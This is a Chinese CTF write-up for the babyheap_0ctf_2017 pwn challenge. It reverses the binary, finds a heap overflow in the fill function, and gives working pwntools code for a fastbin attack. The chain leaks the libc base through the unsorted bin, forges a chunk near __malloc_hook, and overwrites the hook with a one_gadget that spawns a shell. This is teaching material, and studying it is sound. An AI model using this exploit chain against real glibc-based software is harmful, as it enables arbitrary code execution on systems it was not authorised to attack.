babyheap_0ctf_2017 | fastbin attack

34_babyheap_0ctf

附件下载:babyheap_0ctf_2017.zip

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

保护全开。

ida 反汇编发现 alarm 语句,先用

sed -i s/alarm/isnan/g ./pwn

拿掉。

通过代码段判断它定义的结构体是什么样子的:

struct chunk {
    long long is_used;
    long long size;
    long long *chunk_addr;
}

可以在 ida 的 structure 里面自定义这样一个结构体,再把 a1 的数据结构调整为 chunk,这样就可以让反汇编代码更加清晰直观:

主函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
  while ( 1 )
  {
    menu();
    switch ( read_a_num() )
    {
      case 1LL:
        allocate(v4);
        break;
      case 2LL:
        fill(v4);
        break;
      case 3LL:
        free_0(v4);
        break;
      case 4LL:
        dump(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

sub_B70 有点看不懂:

char *sub_B70()
{
  int fd; // [rsp+4h] [rbp-3Ch]
  char *addr; // [rsp+8h] [rbp-38h]
  unsigned __int64 v3; // [rsp+10h] [rbp-30h]
  __int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);                // canary
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("===== Baby Heap in 2017 =====");
  fd = open("/dev/urandom", 0);                 // read a random file
  if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
    exit(-1);
  close(fd);
  addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
  v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
  if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
  return &addr[v3];
}

四个操作:

void __fastcall allocate(chunk *a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int nitems; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !LODWORD(a1[i].is_used) )
    {
      printf("Size: ");
      nitems = read_a_num();
      if ( nitems > 0 )
      {
        if ( nitems > 4096 )
          nitems = 4096;
        v3 = calloc(nitems, 1uLL);
        if ( !v3 )
          exit(-1);
        LODWORD(a1[i].is_used) = 1;             // LODWORD 就是 low double word 截取低双字长度的东西
        a1[i].size = nitems;
        a1[i].chunk_addr = (__int64)v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}
__int64 __fastcall fill(chunk *a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = read_a_num();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = LODWORD(a1[(int)result].is_used);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = read_a_num();
      size = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(a1[v2].chunk_addr, size); // 存在堆溢出漏洞
      }
    }
  }
  return result;
}
__int64 __fastcall free_0(chunk *a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = read_a_num();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = LODWORD(a1[(int)result].is_used);
    if ( (_DWORD)result == 1 )
    {
      LODWORD(a1[v2].is_used) = 0;
      a1[v2].size = 0LL;
      free((void *)a1[v2].chunk_addr);
      result = (__int64)&a1[v2];
      *(_QWORD *)(result + 16) = 0LL; // 指针置0,不存在 UAF 漏洞
    }
  }
  return result;
}
unsigned int __fastcall dump(chunk *a1)
{
  unsigned int result; // eax
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = read_a_num();
  v2 = result;
  if ( result <= 0xF )
  {
    result = a1[result].is_used;
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(a1[v2].chunk_addr, a1[v2].size);
      return puts(byte_14F1);
    }
  }
  return result;
}

可以看到在 fill 函数中可以输入 chunk 的 index 并填充自定义长度的内容,存在堆溢出漏洞。

unsorted bin 的特性,若unsorted bin中只有一个 chunk 的时候,这个 chunk 的 fd 和 bk 指针存放的都是 main_arena+88 ,通过 main_arena 我们就可以获取到libc的基地址。

先写菜单:

def cmd(x):
    io.sendlineafter('Command: ', str(x))

def allocate(size):
    cmd(1)
    io.sendlineafter('Size: ', str(size))

def fill(index, content):
    cmd(2)
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ',content)

def free(index):
    cmd(3)
    io.sendlineafter('Index: ',str(index))

def dump(index):
    cmd(4)
    io.sendlineafter('Index: ', str(index))

分配 5 个堆块,并释放 1 号和 2 号,使他们进入 fastbins:

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4

free(1)
free(2)

可以用 heap 命令查看已经分配和被释放的堆块。

观察 chunk 的结构:

可以发现被释放和没被释放的堆块仍然被放在一起,并且后释放的 chunk2 指向了先释放的 chunk1。chunk4 紧跟着 top chunk 部分(此时还没有 unsorted bins 等其他 bins)。那么计算机怎么知道 chunk1 被释放了呢?

可以看到,main_arena+8 的地方指向了 chunk2 的位置,也即现在的结构是:

fastbins表头 ——> chunk2 ——> chunk1.

由于 fill 没有检测边界,所以在 chunk0 填入内容可以溢出到后面几个堆块。现在我们想把 chunk2 指向 chunk4,只需要把 chunk2 的 fd 修改末位,指向相对位置 0x80 的地方即可。

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) # fake chunk
payload += p8(0x80) # redirect chunk 2 to chunk 4
                    # 因为是小端序,所以只修改最后一个字节可以这么写
fill(0, payload)

此时将 chunk4 的 size 位改为 0x21,就可以将 chunk4 伪造进 fastbins 中的 0x10 链表内(别忘了 fastbins 只会把相同大小的被释放堆块链接在一起)。

当前结构:

fastbins表头 ——> chunk2 ——> chunk4.

现在再申请两个 0x10 大小的堆块,就可以申请到 chunk2 和 chunk4 的位置:

allocate(0x10) # reallocate chunk 2,此时这个 chunk 的 index 是 1
allocate(0x10) # reallocate chunk 4,此时这个 chunk 的 index 是 2

(重新申请过程中,申请出来的是 fastbins 表头直接指向的一个堆块,然后 fastbins 表头重新指向该堆块指向的堆块。)

再把 chunk4 的大小改回去,否则系统会找不到 top chunk 的位置:

payload = p64(0)*3 + p64(0x91)
fill(3, payload) # 将4号块的大小改回 0x91,不然找不到top chunk位置(top chunk 紧跟在分配的堆块后面)
allocate(0x80) # 再申请一块大空间,避免4号块和top chunk合并

介绍:

fastbins 只接受 0x20-0x80 大小的堆块,由于我们 allocate(size) 的 size 是堆块内容的大小,堆块整体的大小要再加 0x10,所以 allocate() 0x10-0x70 出来的堆块 free 后会进入 fastbins, 而 allocate(0x80) 的堆块就会进入 unsortedbin. 如果不加分隔堆块,free 后这块 0x80 的堆块会直接回到 top chunk,这样就利用不了了。

free(4)    # 释放4号块,这个 chunk 会进入 unsorted bin,从而该 chunk 的 fd 和 bk 变成了 main_arena+88 地址,又可以通过 __malloc_hook = main_arena-0x10 获得 __malloc_hook 地址
dump(2)    # leak __malloc_hook 地址
__malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
success('__malloc_hook: ' + hex(__malloc_hook))

但是这里为什么是 dump(2) 而不是 dump(4) 呢?刚 free(4) 完当然不能被 dump 出来,而第二次 allocate 时同样指向 chunk4 位置的堆块 index 已经变成 2 了,所以这里 dump(2) 可以把 chunk4 里面的内容 dump 出来。

此时我们已经得到了 libc 的基地址:

libc_base = __malloc_hook - libc.sym['__malloc_hook']
success('__malloc_hook: ' + hex(__malloc_hook))

接下来切割 chunk4 ,将一部分切到 fastbins 中方便利用:

allocate(0x60)
free(4) # 切割,将 0x80 的块分成 0x60 在 fastbin 中,0x10 在 unsortedbin 中

下面是一个惯用技俩,非常巧妙:

payload = p64(__malloc_hook - 0x23)
fill(2, payload)

我们需要在 chunk4 后面接上一个伪造的堆块,再去通过 __malloc_hook 调用 one_gadget,而 __malloc_hook 上面的部分大都长这个样子:

__malloc_hook - 0x23 就长这样:

size 位恰好变成 0x7f,既符合被分割后的 chunk4(fastbins 部分) 的 0x70 的大小,又有正确的 flag 位。(注:为什么 0x7f 等效于 0x71 ?因为 flag 位自动截取低位,也就是 0111 1111 的低位自动被截取成 0111 0001,前面 3 个 1 不会影响 flag 位的判断。)

这时候再申请两个 0x70 大小(内容大小 0x60)的堆块就能申请到这个伪造的堆块:

allocate(0x60) # index = 5
allocate(0x60) # 申请到假chunk, index = 6

因为这个假 chunk 离 __malloc_hook 距离很近,所以这时候只需要再多填充几个垃圾就能填充到 __malloc_hook 的位置,让它跳转到 execve("/bin/sh", ...) 这种地方。而 execve("/bin/sh", ...) 可以用 one_gadget 搞到(第一个不行就试试后面几个,实在不行自己构造 ROP 链)。

one_gadget /mnt/d/PWNlearn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

(constraints 即成功执行的限制条件,如果本来不满足可以通过其他方法修改寄存器的值使它满足)

payload = b'a' * (0x23 - 0x10)
payload += p64(libc_base + 0x4527a)
fill(6, payload)

allocate(0x10) # 只要调用了 malloc, 程序就会去 __malloc_hook 中检查,这时候就会跳转到 one_gadget 提供的 execve("/bin/sh", ...) 处,从而实现劫持

End.

上一篇
下一篇